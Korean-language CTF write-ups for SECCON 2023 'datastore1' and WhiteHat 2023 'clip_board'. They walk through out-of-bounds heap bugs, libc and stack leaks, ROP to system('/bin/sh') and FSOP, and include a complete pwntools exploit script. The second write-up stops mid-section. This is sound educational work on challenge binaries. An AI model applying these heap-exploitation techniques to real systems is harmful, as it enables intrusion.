~/bl4nk - heap manipulation

SECCON CTF 2023 Quals - datastore1

2024-10-04T00:00:00+00:00

0x00. Introduction

[*] '/home/user/datastore1'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Structure

typedef struct {
  type_t type;

  union {
    struct Array *p_arr;
    struct String *p_str;
    uint64_t v_uint;
    double v_float;
  };
} data_t;

typedef struct Array {
  size_t count;
  data_t data[];
} arr_t;

typedef struct String {
  size_t size;
  char *content;
} str_t;

데이터를 특이한 방식으로 저장해서 처음에 적응하기 까다로웠다. 어렵게 생각하지 말고 어떤 데이터를 data_t에 저장하는데, 데이터의 유형에 따라 다른 방식으로 저장한다고 생각하면 된다.

Concept

➜  ./datastore1

MENU
1. Edit
2. List
0. Exit
> 1

Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4

MENU
1. Edit
2. List
0. Exit
> 2

List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY>

입력값에 따라 heap에 데이터를 자유롭게 저장하거나 조회할 수 있다.

0x01. Vulnerability

취약점은 edit() 함수에서 Array를 다룰 때 발생한다.

static int edit(data_t *data){
  ...
  switch(data->type){
    case TYPE_ARRAY:
      arr_t *arr = data->p_arr;

      printf("index: ");
      unsigned idx = getint();
      if(idx > arr->count)
        return -1;
      ...
  }
}

입력한 idx 값이 arr->count보다 큰 지 검증하는데, 두 값이 같을 경우를 검증하지 않아 OOB가 발생한다. 예를 들어 arr->count가 4이면 data[0]~data[3]이 생성되는데, 있지도 않은 data[4]에 접근할 수 있어 arr 바로 다음 영역에 접근할 수 있다.

새삼 이 간단한 취약점으로 쉘이 따인다니 놀랍다… 역시 취약점은 우선 exploitability를 막론하고 bug를 찾는다는 관점으로 봐야하는 것 같다.

0x02. Exploit

Heap Leak

우선 취약점을 트리거하기 위해 다음과 같이 Array를 할당한다.

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)

여기에서 edit()의 세 번째 인자에 들어가는 list는 Array의 index를 뜻하는데, 예를 들면 다음과 같다.

[] : root->*p_arr
[0] : [00]
[0, 1] : [00] -> [01]

그러므로 edit(s, 'u', [0, 1], 'a', 4)의 의미는 “[00] -> [01] 위치에 길이가 4인 arr_t를 생성한다” 는 의미를 가진다.

이렇게 data_t 객체들을 생성하면 메모리는 다음과 같다.

# root : 0x5555555592a0
gef➤  x/2gx 0x5555555592a0
0x5555555592a0: 0x00000000feed0001      0x00005555555592c0
# []
gef➤  x/3gx 0x00005555555592c0
0x5555555592c0: 0x0000000000000001      0x00000000feed0001
0x5555555592d0: 0x00005555555592e0
# [0]
gef➤  x/9gx 0x00005555555592e0
0x5555555592e0: 0x0000000000000004      0x00000000feed0001
0x5555555592f0: 0x0000555555559330      0x00000000feed0001
0x555555559300: 0x0000555555559380      0x00000000feed0001
0x555555559310: 0x00005555555593d0      0x00000000feed0001
0x555555559320: 0x0000555555559420
# [0, 0]
gef➤  x/10gx 0x0000555555559330
0x555555559330: 0x0000000000000004      0x0000000000000000      # [0, 0, 0]
0x555555559340: 0x0000000000000000      0x0000000000000000      # [0, 0, 1]
0x555555559350: 0x0000000000000000      0x0000000000000000      # [0, 0, 2]
0x555555559360: 0x0000000000000000      0x0000000000000000      # [0, 0, 3]
0x555555559370: 0x0000000000000000      0x0000000000000051      # [0, 0, 4] < OOB
# [0, 1]
gef➤  x/9gx 0x0000555555559380
0x555555559380: 0x0000000000000004      0x0000000000000000
0x555555559390: 0x0000000000000000      0x0000000000000000
0x5555555593a0: 0x0000000000000000      0x0000000000000000
0x5555555593b0: 0x0000000000000000      0x0000000000000000
0x5555555593c0: 0x0000000000000000

Heap에서 연속적으로 chunk를 할당해주어 [0, 0]과 [0, 1]이 인접한 메모리 구조를 확인할 수 있다. 따라서 OOB 취약점을 이용해서 존재하지 않는 [0, 0, 4]에 접근하게 되면 0x555555559378~0x555555559380 영역을 overwrite할 수 있게 된다.

0x555555559378 : [0, 1] chunk의 header
0x555555559380 : [0, 1]->count

show() 함수에서 객체의 크기를 참조하여 data_t->type과 함께 출력해주므로, count에 어떤 주소가 쓰이도록 할 수 있다면 leak이 가능하다.

Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(4)>
[03] <ARRAY(4)>

[0, 0, 4]에 새로운 arr_t를 할당할 경우, 다음과 같이 할당이 된다.

0x555555559378 : [0, 1] chunk의 header -> data_t->type
0x555555559380 : [0, 1]->count -> data_t->*p_arr

그런데 [0, 0, 4]에 접근 시 edit()에서 show() 함수를 호출해 현재 저장된 데이터의 상태를 보여준다.

static int edit(data_t *data){
  if(!data)
    return -1;

  printf("\nCurrent: ");
  show(data, 0, false);
  ...
}

이 때 data_t->type에 chunk size인 0x51이 저장되어있고 이는 type_t에 정의되지 않은 값이기 때문에 show() 함수에서 exit()이 호출되어버린다.

static int show(data_t *data, unsigned level, bool recur){
  ...
  switch(data->type){
    case TYPE_EMPTY:
      puts("<EMPTY>");
      break;
    ...
    default:
      puts("<UNKNOWN>");
      exit(1);
  }
  return 0;
}

따라서 arr_t 생성 전에 edit()의 delete를 이용하여 data_t->type으로 해석되는 값을 0으로 초기화할 필요가 있다.

    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 2)

이렇게 overwrite에 성공하면 [0, 1]->count 부분에 새로운 arr_t 주소가 담기게 되고, show()를 이용해 값을 출력할 수 있다.

Heap Overflow

이제 arr_t로 heap leak이 가능했으니 다른 구조체인 str_t을 이용해 exploit을 시도하려고 했다.

typedef struct String {
	size_t size;
	char *content;
} str_t;

OOB를 이용해 size, *content를 덮으면 임의 주소를 read / write할 수 있겠다는 생각이 들었다.

    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

위 payload를 이용해 str_t 객체들을 할당하면 메모리 구조는 다음과 같다.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000001      0x0000000000000000      # [0, 0, 4]
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0xaf03f4adbccb3443      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021 
0x555555559500: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"

이렇게 OOB 취약점을 이용해서 [0, 2, 0]의 size와 *content를 덮고 싶어도 인접한 영역에 할당되지 않는데, create()에서 입력을 받는 방식 때문에 발생하는 문제이다.

static int create(data_t *data){
  ...
  else {        // type == 'v'
    char *buf, *endptr;

    printf("input value: ");
    scanf("%70m[^\n]%*c", &buf);
    if(!buf){
      getchar();
      return -1;
    }
    ...
    str_t *str = (str_t*)malloc(sizeof(str_t));
    if(!str){
      free(buf);
      return -1;
    }
    str->size = strlen(buf);
    str->content = buf;
    buf = NULL;

    data->type = TYPE_STRING;
    data->p_str = str;
fin:
    free(buf);
  }
  return 0;
}

scanf()를 보면 특이한 formatter를 사용하는데, m은 GNU 확장 기능 중 하나로 heap 메모리를 할당하여 입력값을 저장한다. 자세히 보면 buf에 입력을 받은 다음 주소를 str->content에 넣어놓고 free()시키는데, 어차피 buf가 NULL로 초기화되기 때문에 아무런 해제가 일어나지는 않는다.

어찌됐건 scanf()를 할 때 70바이트를 입력받기 위해 메모리를 할당하고, 입력값을 저장한 뒤 나머지 메모리는 해제하는 동작을 수행한다. 이 과정에서 heap을 사용하기 때문에 str_t보다 buf가 먼저 할당되어 인접한 영역에 [0, 2, 0]이 할당되지 않는다. 따라서 str_t의 chunk size와 동일한 크기를 가지는 chunk를 해제해두고 create()를 호출하도록 payload를 작성해야한다.

이를 위해 heap leak 과정에서 [0, 1]->count를 overwrite할 때 chunk size가 0x20이 되도록 arr_t->count가 1인 객체를 [0, 0, 4]에 생성하였다.

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x30)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

이렇게 payload를 작성한 뒤 메모리를 보면 다음과 같다.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x5d50bdc37f682be0      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content

이제야 [0, 2, 0]이 [0, 3]과 인접하게 할당되었으므로 OOB 취약점을 이용할 수 있다.

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

위 payload와 같이 [0, 3, 4]에 접근하여 v_uint로 해석되게끔 0x1000을 입력하면 메모리에 다음과 같이 저장된다.

gef➤  x/8gx 0x555555559460
0x555555559460: 0x0000000000000000      0x00000000feed0003
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141

str_t 구조체인 [0, 2, 0]->size 영역에 0x1000이 쓰여졌으니 이 객체를 이용하여 *content에 저장된 주소인 0x555555559490부터 0x1000바이트를 자유롭게 overwrite할 수 있다.

Libc Leak

문제를 풀 때는 뚜렷한 목적성 없이 *“heap overflow가 가능하니까 일단 chunk size를 덮어서 libc leak을 해야겠다”*고 생각했는데…

*“PIE도 켜져있고 Full Relro도 적용되어있으니 GOT overwrite는 포기하고 libc leak -> stack leak을 해서 return address를 덮어야겠다”*가 올바른 사고의 과정인 것 같다.

아무튼 chunk를 unsorted bin으로 보내서 main_arena 주소가 담기게하는 기법을 통해 libc leak을 진행하였다. 이 때 몇 가지 맞춰야 할 조건이 있었는데, 그렇지 않으면 chunk가 unsorted bin으로 보내지지 않는다.

chunk size가 0x420 이상일 것
해당 chunk의 다음 영역에 chunk가 존재할 것(next_chunk)
next_chunk가 top chunk가 아닐 것

특히 세 번째 조건과 반대로 next_chunk가 top chunk일 경우 그냥 top chunk에 병합되어버려서 chunk가 unsorted bin으로 보내지지 않는다.

조건을 하나씩 맞추기 위해 앞서 heap overflow 상황에서의 메모리를 보면,

gef➤  x/20gx 0x555555559470
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x2da0f37bfd770960
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content
gef➤
0x555555559510: 0x0000000000000000      0x0000000000000051
0x555555559520: 0x000055500000c1e9      0x2da0f37bfd770960
0x555555559530: 0x0000000000000000      0x0000000000000000
0x555555559540: 0x0000000000000000      0x0000000000000000
0x555555559550: 0x0000000000000000      0x0000000000000000
0x555555559560: 0x0000000000000000      0x0000000000000021
0x555555559570: 0x0000000000000010      0x0000555555559500      # [0, 2, 1] ; "BBBB"
0x555555559580: 0x0000000000000000      0x0000000000000021
0x555555559590: 0x4343434343434343      0x4343434343434343      # [0, 2, 2]->content
0x5555555595a0: 0x0000000000000000      0x0000000000000051
gef➤
0x5555555595b0: 0x000055500000c079      0x2da0f37bfd770960
0x5555555595c0: 0x0000000000000000      0x0000000000000000
0x5555555595d0: 0x0000000000000000      0x0000000000000000
0x5555555595e0: 0x0000000000000000      0x0000000000000000
0x5555555595f0: 0x0000000000000000      0x0000000000000021
0x555555559600: 0x0000000000000010      0x0000555555559590      # [0, 2, 2] ; "CCCC"
0x555555559610: 0x0000000000000000      0x0000000000000021
0x555555559620: 0x0000000555555559      0x2da0f37bfd770960
0x555555559630: 0x0000000000000000      0x0000000000000051
0x555555559640: 0x000055500000c0e9      0x2da0f37bfd770960

[0, 2, 2]의 chunk size를 0x421로 바꿔 free()시킨 후 main_arena 주소가 쓰이면 [0, 2, 1]->*content를 [0, 2, 2] 주소로 바꿔 출력을 하게끔 시나리오를 구성했다.

따라서 chunk size overwrite와 [0, 2, 1]->*content를 바꾸는 것을 고려해서 payload를 다음과 같이 작성했다. 이 때 다른 chunk들을 건들이면 free()에서 에러가 발생해 구조를 그대로 유지하도록 작성하였다.

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

이제 두 번째, 세 번째 조건을 맞추기 위한 payload는 다음과 같다.

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

[0, 2, 3, 2]까지만 객체들을 생성하면 [0, 2, 2]의 next_chunk가 top chunk가 되므로 [0, 2, 3, 3]을 꼭 생성해주어야 한다.

Current: <ARRAY(4)>
[00] <S> AAAAAAAAAAAAAAAA
[01] <S> \xe0\xac\xfa\xf7\xff\x7f
[02] <EMPTY>
[03] <ARRAY(16)>
index:

Stack Leak

Libc 주소가 있으니 environ 변수를 이용해서 stack leak이 가능하다.

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)

앞에서는 chunk 할당과 해제를 하기 때문에 chunk 구조를 맞춰서 payload를 작성했는데, 이제는 그럴 필요가 없으니 [0, 2, 1]과의 offset만 잘 맞춰주면 leak이 가능하다.

Ret Overwrite

마지막으로 RIP control을 위해서 return address를 덮기로 했다. 먼저 [0, 2, 1]->*content가 main()의 return address가 저장된 stack 주소를 가리키도록 설정했다. 이후 libc에 있는 가젯을 이용하여 인자를 설정하고 system() 함수를 호출했다.

다만 이 때 syscall 당시의 stack alignment가 맞지 않아 pop rdi; pop rbp 가젯을 사용했다.

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "c471d11acd2a"
code_base = 0x555555554000
bp = {
    'ret_main' : 0x555555555418,
}

def edit(s, u_d, index, a_v='a', num=0):
    s.sendline(b"1")
    r = s.recvuntil(b">\n")
    if r.find(b"EMPTY") > 0:
        create(s, a_v, num)
    elif r.find(b"ARRAY") > 0:
        for c, i in enumerate(index):
            s.recvuntil(b"index: ")
            s.sendline(str(i).encode())
            s.recvuntil(b"> ")
            if c == len(index) - 1:
                if u_d == 'u':
                    s.sendline(b"1")
                if u_d == 'd':
                    s.sendline(b"2")
                    return s.recvuntil(b"\n> ")
            else:
                s.sendline(b"1")
        create(s, a_v, num)
    return s.recvuntil(b"\n> ")

def create(s, a_v, num):
    s.recvuntil(b"> ")
    if a_v == 'a':
        s.sendline(b"a")
        s.recvuntil(b"size: ")
        s.sendline(str(num).encode())
    elif a_v == 'v':
        s.sendline(b"v")
        s.recvuntil(b"value: ")
        s.sendline(str(num).encode())
    else:
        s.sendline(num)

def show(s):
    s.sendline(b"2")
    r = s.recvuntil(b"Exit\n> ")
    return r

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    log.info(f"root : 0x5555555592a0")
    
    s.recvuntil(b"Exit\n> ")

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)
    
    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 1)
    
    # heap leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu
    
    heap = int(r.split(b"ARRAY(")[3].split(b")>")[0]) - 0x470
    log.info(f"heap : {hex(heap)}")

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    # move [0, 2, 2] ("CCCC") to unsorted bin
    edit(s, 'd', [0, 2, 2])
    
    # libc leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu

    libc = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00") - 0x21ace0
    log.info(f"libc : {hex(libc)}")

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)
    
    # stack leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")

    stack = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00")
    log.info(f"stack : {hex(stack)}")
    ret = stack - 0x120

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

    # exit
    s.sendline(b"0")

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

WhiteHat Contest 2023 Quals - clip_board

2024-08-30T00:00:00+00:00

0x00. Introduction

[*] '/home/user/clip_board'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Concept

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...
  v3 = malloc(0x20uLL);
  printf("heap leak: %p\n\n", v3);
  do
  {
    Menu();
    choice = get_int();
    switch ( choice )
    {
      case 1:
        AddClipboard();
        break;
      case 2:
        DelClipboard();
        break;
      case 3:
        ViewClipboard();
        break;
      case 4:
        exit = 1;
        break;
    }
  }
  while ( !exit );
  return 0;
}

AddClipboard(), DelClipboard(), ViewClipboard() 세 가지 기능이 heap을 기반으로 구현되어있다. 친절하게도 heap 주소를 하나 출력해주어 heap leak을 따로 해주지 않아도 된다.

Global Variables

char *chunk_list[10];
char check_chunk_list[10];      // size = 16
int chunk_size_list[10];

예를 들어 AddClipboard() 실행 시 index에 i를 입력하면 위 구조체들에 다음과 같은 값이 설정된다.

chunk_list[i] : malloc(size)
check_chunk_list[i] : 1
chunk_size_list[i] : size

이 때 check_chunk_list는 alignment 때문인지 16바이트만큼 할당되어있다.

0x01. Vulnerability

int ViewClipboard()
{
  ...
  printf("index > ");
  index = get_int();
  if ( index <= 9 )
  {
    check = check_chunk_list_4090[index];
    if ( check )
    {
      ptr = chunk_list_4040[index];
      size = chunk_size_list_40A0[index];
      if ( ptr )
      {
        if ( size <= 0x100 )
          return write(1, ptr, size);
      }
    }
  }
  return size;
}

AddClipboard(), DelClipboard(), ViewClipboard()에서 공통적으로 index 값이 음수일 때를 검증하지 않아 OOB 취약점이 있다.

다만 원하는 동작을 하기 위해서 check가 0이 아닌 값을 가져야하므로, check_chunk_list 위 영역의 값을 잘 확인해야 한다.

0x02. Exploit

Libc Leak

gef➤  x/20gx 0x555555558000
0x555555558000: 0x0000000000000000      0x0000555555558008
0x555555558010: 0x0000000000000000      0x0000000000000000
0x555555558020 <stdout@GLIBC_2.2.5>:    0x00007ffff7fa5780      0x0000000000000000
0x555555558030 <stdin@GLIBC_2.2.5>:     0x00007ffff7fa4aa0      0x0000000000000000
0x555555558040 <chunk_list>:    0x0000000000000000      0x0000000000000000
0x555555558050 <chunk_list+16>: 0x0000000000000000      0x0000000000000000
0x555555558060 <chunk_list+32>: 0x0000000000000000      0x0000000000000000
0x555555558070 <chunk_list+48>: 0x0000000000000000      0x0000000000000000
0x555555558080 <chunk_list+64>: 0x0000000000000000      0x0000000000000000
0x555555558090 <check_chunk_list>:      0x0000000000000000      0x0000000000000000

index를 음수로 입력해 취약점을 활용하기 위해서 chunk_list 위 영역을 살펴보면, stdout과 stdin이 있다.

0x555555558008 영역에 __dso_handle라는 변수명으로 bss 영역의 주소가 쓰여있어 확인해보니 fini_array의 __do_global_dtors_aux에서 한번 참조하는 것을 제외하고는 참조되지 않는다. 이 문제에서는 딱히 의미가 없지만 기억해뒀다가 나중에 써먹으면 좋을 것 같다.

stdin은 chunk_list[-2], stdout은 chunk_list[-4]로 접근이 가능한데, ViewClipboard로 값을 읽어오기 위해서는 check_chunk_list[-2]나 check_chunk_list[-4]에 0이 아닌 값이 저장되어 있어야 한다. 그렇다면 0x55555555808e 혹은 0x55555555808c에 값을 저장해야 한다는 소린데, index를 9로 입력해서 0x555555558088에 malloc()이 반환한 값을 저장한다고 해도 주소 값이라 윗 부분은 쓰이지 않을테니 0x55555555808e에는 0이 들어간다.

따라서 stdout만 view가 가능하고, 다음과 같은 payload로 libc 주소를 얻었다.

    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

FSOP

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/user/clip_board
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/user/clip_board
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/user/clip_board

Full RELRO가 적용되어있기 때문에 GOT영역은 write가 불가능하고 0x555555558000와 chunk_list의 사이에는 stdout, stdin밖에 없다.

stdout, stdin을 바꿔서 RIP control을 해야하니 자료를 찾아보다가 FSOP 기법을 발견했다. FSOP 기법은 이 글에 정리한 내용을 사용했다.

문제에서는 AddClipboard() 기능을 이용하여 메모리를 마음대로 할당받을 수 있고, 처음에 heap 주소를 주었으니 offset을 계산하여 다음과 같이 payload를 작성했다.

    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

어… 신나게 설명했는데 사실 가장 큰 문제가 하나 있다. OOB 취약점을 이용하여 chunk_list[-4]에 위치한 stdout을 overwrite하면 메모리는 다음 이미지와 같다.

그런데 사실 _IO_flush_all_lockp는 _IO_list_all을 순회하며 file stream에 overflow가 발생했는지 확인하기 때문에, 공격자가 할당한 wide_vtable의 one_gadget 함수가 호출되기 위해서는 메모리가 다음 이미지와 같아져야 한다.

따라서 libc 영역에 있는 _IO_list_all 포인터를 overwrite 해야한다…

stdout에 저장된 값을 직접 접근하는 다른 FSOP 시나리오를 찾았다면 이런 짓은 하지 않았어도 됐는데 아쉬울 따름이다…

Tcache Unlink

아예 새로운 문제를 보는 기분으로 코드를 보다보면 DelClipboard()에서 다음 동작을 수행하는 것을 확인할 수 있다.

int DelClipboard()
{
  ...
      ptr = chunk_list_4040[index];
      if ( ptr )
      {
        free(ptr);
        chunk_list_4040[index] = 0LL;
